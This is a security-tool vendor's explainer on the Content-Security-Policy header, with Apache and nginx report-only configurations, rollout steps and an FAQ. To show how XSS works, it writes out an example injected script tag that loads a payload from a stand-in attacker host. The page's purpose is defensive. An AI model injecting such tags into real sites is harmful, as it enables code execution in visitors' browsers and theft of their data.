# Content-Security-Policy

1.  [Home](https://mysites.guru/)
2.  [Tools](https://mysites.guru/tools/)
3.  [Security headers](https://mysites.guru/tools/security-headers/)
4.  Content-Security-Policy

# Content-Security-Policy

![Content-Security-Policy](https://mysites.guru/_astro/content-security-policy.B9fqPdLA_ZsvHkr.webp)

Content-Security-Policy is a response header that tells the browser which sources of scripts and content it may load, closing off most XSS attacks.

Article Contents

-   [How the Content-Security-Policy check works](#how-the-content-security-policy-check-works)
-   [How one injected script becomes a working exploit](#how-one-injected-script-becomes-a-working-exploit)
-   [The shape of a working policy](#the-shape-of-a-working-policy)
-   [Writing and rolling out a CSP safely](#writing-and-rolling-out-a-csp-safely)
-   [Why we don’t set a CSP for you](#why-we-dont-set-a-csp-for-you)
-   [Further Reading](#further-reading)
-   [Frequently Asked Questions](#faq)

How common is this?

-   92.4% of the Generic sites we have this data for fail this check. Platform: Generic.

Measured across the sites we audit, on each site's most recent snapshot.

## How the Content-Security-Policy check works

Content-Security-Policy (CSP) is an HTTP response header. mySites.guru requests a page from your site and reads back whichever headers your server actually sent, then checks whether `Content-Security-Policy` is present and whether it does anything meaningful. We request a page your server answers directly, such as a 404, rather than only your homepage, because that’s the case most site owners forget to cover. See [checking your website’s security headers with mySites.guru](https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/) for how this check fits alongside the rest.

## How one injected script becomes a working exploit

Every page your browser loads pulls in a pile of other things along with it: stylesheets, fonts, and usually a fair number of scripts. The browser loads these because the page’s own HTML told it to, and it has no way of independently deciding whether any given script tag is legitimate or not. If an attacker finds a way to inject their own `<script src="https://nastyhackers.com/payload.js">` into your page, whether through a comment field, a vulnerable plugin, or a stored XSS bug somewhere else entirely, the browser will fetch and run it exactly as happily as it runs your own code.

CSP changes that calculation. The header lets you tell the browser, in advance, which domains are allowed to supply scripts, styles, images, fonts and other content. Anything outside that list gets rejected before it ever executes. An attacker who successfully injects a script tag into your page still gets nothing: the browser won’t run code from a source you never listed, no matter how the injection happened.

That is why CSP is considered one of the most effective defences against cross-site scripting that exists. It doesn’t fix the underlying bug that let the injection happen, but it removes the payoff, which in practice is most of what matters. The trade-off is that building a policy takes real work. Every inline script, every third-party widget, every web font has to be explicitly allowed, and a policy that’s too strict breaks the page rather than only weakening security. That asymmetry is exactly why so many sites never get round to it.

## The shape of a working policy

A well-built policy is restrictive by default and only opens up what the site needs. A reasonable starting point looks like `default-src 'self'`, meaning nothing loads unless it comes from your own domain, and everything else is layered on as specific, intended exceptions: `script-src`, `style-src`, `img-src`, `frame-ancestors` and so on, each naming only the sources that are actually in use. `'unsafe-inline'` for scripts is worth avoiding if you can manage it, since it reopens the exact door CSP exists to close, though it’s a common and reasonable compromise for `style-src` on sites with a lot of inline styling from themes and page builders.

## Writing and rolling out a CSP safely

1.  Work out what your site actually loads, and from where. Open your browser’s developer tools, load a few representative pages, and note every external domain that supplies a script, stylesheet, font or embedded frame.
2.  Start in report-only mode so nothing breaks while you’re still finding out what the policy needs to cover. Add this in your `.htaccess` file, or the equivalent block in your virtual host, on `https://yoursite.com/administrator` and your front end alike:

```apache
<IfModule mod_headers.c>
    Header always set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'"
</IfModule>
```

On nginx, the equivalent sits in your server block:

```nginx
add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; object-src 'none'; base-uri 'self'" always;
```

3.  Browse the site as a real visitor would, checking the browser console for CSP violation warnings. Add each legitimate source to the relevant directive as you find it.
4.  Once nothing legitimate is being blocked, switch `Content-Security-Policy-Report-Only` to `Content-Security-Policy` in the directive above. That’s the point where the browser starts actually enforcing it rather than just reporting.
5.  Re-test the site properly after enforcing: contact forms, checkout flows, embedded video, and anything that loads content dynamically after the page has already rendered.

Get this wrong and the site breaks, not just the header

A CSP that’s too strict doesn’t fail safely. It blocks the scripts, fonts or embeds it wasn’t told about, so a form stops submitting or a page renders without its styling, with no error the average visitor can explain to you. Always prove the policy in report-only mode first.

`frame-ancestors` inside a CSP also controls who can embed your site in a frame, which is the modern replacement for [X-Frame-Options](https://mysites.guru/tools/security-headers/x-frame-options/) and worth setting alongside the rest of the policy rather than as an afterthought.

## Why we don’t set a CSP for you

This is a configuration decision specific to what your site actually loads, so we don’t offer a one-click fix for it. mySites.guru flags a missing or weak Content-Security-Policy on every snapshot and shows you the exact header your site returned, so you can see what’s missing before you touch your server config. We check this alongside [Strict-Transport-Security](https://mysites.guru/tools/security-headers/strict-transport-security/), [X-Frame-Options](https://mysites.guru/tools/security-headers/x-frame-options/) and [X-Content-Type-Options](https://mysites.guru/tools/security-headers/x-content-type-options/) on every connected site, twice a day.

## [Content-Security-Policy](https://mysites.guru/free-audit/?check=generic/responsesecurityheadersinformation/contentsecuritypolicy)

mySites.guru checks every connected site for this automatically and flags it the moment it appears. These run twice a day on every connected site.

[Check your site for free](https://mysites.guru/free-audit/?check=generic/responsesecurityheadersinformation/contentsecuritypolicy)

## Further Reading

-   [Scott Helme: Content Security Policy - An Introduction](https://scotthelme.co.uk/content-security-policy-an-introduction/)
-   [MDN: Content-Security-Policy header reference](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)

Scott Helme's site remains one of the clearest technical references on browser security headers going.

## Frequently Asked Questions

Show all

Does a Content-Security-Policy header stop all cross-site scripting?

No. It is a strong last line of defence, not a substitute for escaping output and validating input. A tight policy means that even if an attacker manages to inject a script tag, the browser refuses to run it because the source was never whitelisted, but the underlying injection bug still needs fixing.

Will adding a Content-Security-Policy header break my site?

It can, if the policy is too strict for what the site actually loads. Any inline script, third-party widget, web font or embedded video that isn't covered by the policy will be silently blocked. Always test with Content-Security-Policy-Report-Only first, on a real page, before enforcing anything.

Can a WordPress or Joomla plugin add this header for me?

Some can, but only for requests that PHP actually handles. A policy set that way is missing from any request the webserver answers directly, such as a static file or a 404 page, which is a gap an audit will still catch. Setting it at server level covers every request instead.

[![EU icon: AI MODIFIED](https://mysites.guru/_astro/ai-modified.CaoawZEQ_1In0VX.webp)Written and edited by a human, with AI assistance. Our approach to AI](https://mysites.guru/ai-statement/)

### Article Contents

-   [How the Content-Security-Policy check works](#how-the-content-security-policy-check-works)
-   [How one injected script becomes a working exploit](#how-one-injected-script-becomes-a-working-exploit)
-   [The shape of a working policy](#the-shape-of-a-working-policy)
-   [Writing and rolling out a CSP safely](#writing-and-rolling-out-a-csp-safely)
-   [Why we don’t set a CSP for you](#why-we-dont-set-a-csp-for-you)
-   [Further Reading](#further-reading)
-   [Frequently Asked Questions](#faq)

- **Published** - 28 August 2026
- **Applies to** - Generic
- **One-click fix** - Manual fix

Share

[](https://x.com/intent/post?url=https%3A%2F%2Fmysites.guru%2Ftools%2Fsecurity-headers%2Fcontent-security-policy%2F&text=Content-Security-Policy)[](https://bsky.app/intent/compose?text=Content-Security-Policy%20https%3A%2F%2Fmysites.guru%2Ftools%2Fsecurity-headers%2Fcontent-security-policy%2F)[](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fmysites.guru%2Ftools%2Fsecurity-headers%2Fcontent-security-policy%2F)

Topics

[Security headers](https://mysites.guru/tools/security-headers/)Generic

★★★★★

> "mySites.guru is an excellent tool for website management and security. It [detects even hidden threats](https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/), [alerts you to security issues](https://mysites.guru/blog/security-audit-tools/), and helps [keep your website in great shape](https://mysites.guru/features/). I’m extremely satisfied with it and can highly recommend it."

![Martin Rakosan](https://mysites.guru/images/reviews/martin-rakosan.webp)

Martin RakosanProject Manager, ppc-seo.cz

[](https://mysites.guru/reviews/)

## More checks in [Security headers](https://mysites.guru/tools/security-headers/)

-   [
    
    ### Strict-Transport-Security (HSTS)
    
    Strict-Transport-Security (HSTS) makes browsers use HTTPS only for your site. The max-age to set, includeSubDomains, and the Apache and nginx lines to add.
    
    ](https://mysites.guru/tools/security-headers/strict-transport-security/)
-   [
    
    ### X-Content-Type-Options
    
    X-Content-Type-Options: nosniff stops browsers guessing a file's type, closing a route for smuggling scripts past uploads. The Apache and nginx lines to add.
    
    ](https://mysites.guru/tools/security-headers/x-content-type-options/)
-   [
    
    ### X-Frame-Options
    
    X-Frame-Options stops other sites loading your pages in an iframe, which blocks clickjacking. The SAMEORIGIN value and the Apache and nginx lines to add.
    
    ](https://mysites.guru/tools/security-headers/x-frame-options/)

## More from the blog

[

![Check your site's security headers](https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-13-1024x538.TbklMHsm_1rleEI.webp)

### Check your site's security headers

mySites.guru checks eight HTTP security headers on every snapshot - CSP, HSTS, X-Frame-Options and more - to help you harden against XSS and clickjacking.

](https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/)

## See where your own sites stand

One free audit of one site · no card · about 2 minutes to connect

[Get Your Free Site Audit](https://manage.mysites.guru/en/register)

[How the Content-Security-Policy check works](#how-the-content-security-policy-check-works) [How one injected script becomes a working exploit](#how-one-injected-script-becomes-a-working-exploit) [The shape of a working policy](#the-shape-of-a-working-policy) [Writing and rolling out a CSP safely](#writing-and-rolling-out-a-csp-safely) [Why we don’t set a CSP for you](#why-we-dont-set-a-csp-for-you) [Further Reading](#further-reading) [Frequently Asked Questions](#faq)